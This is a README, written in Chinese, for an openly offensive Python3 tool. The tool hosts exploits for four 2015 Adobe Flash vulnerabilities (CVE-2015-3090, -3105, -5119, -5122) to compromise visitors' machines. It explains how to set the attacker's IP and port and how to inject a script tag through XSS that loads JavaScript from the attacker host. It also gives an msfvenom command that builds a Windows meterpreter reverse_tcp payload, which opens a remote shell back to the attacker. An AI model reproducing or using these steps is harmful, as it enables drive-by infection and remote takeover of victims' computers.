Adobe Flash 漏洞利用 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 Python3 脚本

将针对 Adobe Flash 漏洞的 Metasploit 利用代码 CVE-2015-3090, CVE-2015-3105, CVE-2015-5119 和 CVE-2015-5122 转换为 Python3 脚本。

信息

此脚本将托管一个 Web 服务器，每次可以针对以下 Adobe Flash 漏洞之一进行利用：

1. CVE-2015-3090
2. CVE-2015-3105
3. CVE-2015-5119
4. CVE-2015-5122

执行

您必须根据需求修改（此处概述）exploit.py 文件。

修改

• hostname = "192.168.1.100"
  • 这是攻击系统上托管漏洞利用 Web 服务器的 IP 地址。
• serverPort = 8080
  • 这是攻击系统上托管漏洞利用 Web 服务器的端口。
• xss = False
  • 如果设置为 True，则受害者的首次服务器请求将被视为 JavaScript：
    • XSS 注入示例：
      • <script src="http://192.168.1.100:8080/"></script>
    • 攻击路径：
      • 受害者请求 1 -> XSS 漏洞服务器：
        • 受害者访问远程服务器上的 XSS 注入，请求一个 JavaScript 文件（见请求 2）。
      • 受害者请求 2 -> 攻击系统上的 JavaScript 源文件。
      • 受害者请求 3 -> 恶意 swf 文件。
  • 如果设置为 False，则受害者的首次服务器请求将被视为 HTML：
    • 示例：
      • http://192.168.1.100:8080/
    • 攻击路径：
      • 受害者请求 1 -> 攻击系统上的 HTML 文件。
      • 受害者请求 2 -> 恶意 swf 文件。
• base64Payload = "..."
  • 这是将在受害者系统上执行的 base64 载荷。
  • 修改下面的示例命令以满足您的需求并生成载荷：
    • 示例：
      • msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 | base64

    • 注意：目前仅 windows/meterpreter/reverse_tcp 载荷在我的测试中有效。

• swfFile = swfFileList['37368']
  • 选择用于攻击受害者系统的 Adobe Flash 漏洞利用 swf 文件：

    • swfFileList = {
          '37368': 'CVE-2015-3090.swf',
          '37448': 'CVE-2015-3105.swf',
          '37523': 'CVE-2015-5119.swf',
          '37599': 'CVE-2015-5122.swf'
      }
      

运行

在与恶意 swf 文件相同的目录下运行以下命令，以执行 Adobe Flash 漏洞利用脚本：

• python3 exploit.py

参考：

CVE-2015-3090 -> https://exploit-db.com/exploits/37368

CVE-2015-3105 -> https://exploit-db.com/exploits/37448

CVE-2015-5119 -> https://exploit-db.com/exploits/37523

CVE-2015-5122 -> https://exploit-db.com/exploits/37599